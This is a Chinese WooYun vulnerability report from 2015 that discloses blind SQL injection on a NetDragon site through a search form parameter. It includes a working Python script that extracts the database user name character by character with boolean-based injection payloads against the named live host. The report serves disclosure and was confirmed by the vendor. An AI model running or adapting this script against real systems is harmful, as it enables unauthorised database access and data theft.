当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0123637

漏洞标题：网龙某站存在SQL盲注漏洞

相关厂商：福建网龙

漏洞作者： 星明月稀

提交时间：2015-06-30 12:28

修复时间：2015-08-14 13:34

公开时间：2015-08-14 13:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-30： 细节已通知厂商并且等待厂商处理中
2015-06-30： 厂商已经确认，细节仅向厂商公开
2015-07-10： 细节向核心白帽子及相关领域专家公开
2015-07-20： 细节向普通白帽子公开
2015-07-30： 细节向实习白帽子公开
2015-08-14： 细节向公众公开

简要描述：

网龙某站存在SQL盲注漏洞

详细说明：

问题站点：
http://wb.99.com
盲注点：
POST搜索问题的问题分类category[]

1=1.png


1=11.png


漏洞证明：

（1）user()

user().png


附简单的验证脚本

#encoding=gbk
import httplib,urllib
import string
import sys
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
    'Referer': 'http://wb.99.com',
}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print 'Start to retrive MySQL user:'
user = ''
for i in range(1,18):
    for payload in payloads:
        conn = httplib.HTTPConnection('wb.99.com', timeout=60)
        params = {
            'keyword': 'e',
            'category[]':'(SELECT (CASE WHEN (ascii(mid(user()from(%s)for(1)))=%s) THEN 1 ELSE (SELECT 1 FROM INFORMATION_SCHEMA.tables) END))' % (i,ord(payload)),
            'button':'%E6%90%9C%E7%B4%A2%E9%97%AE%E9%A2%98'
            }
        body_data = urllib.urlencode(params)
        conn.request(method='POST',
                     url='http://wb.99.com/index.php?controller=lists&action=search',
                     body = body_data,
                     headers = headers)
        html_doc = conn.getresponse().read().decode('utf-8')
        conn.close()
        if html_doc.find(u'未找到和您的查询') < 0 :  
            user += payload
            print '[Retrieving]', user
            break
print '\n[Done]MySQL user is', user


（2）顺便sqlmap下有197个表额，就没再跑了

sqlmap-tables.png

修复方案：

过滤下。

版权声明：转载请注明来源 星明月稀@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-06-30 13:32

厂商回复：

感谢 星明月稀 提交的漏洞，安排修复中

最新状态：

暂无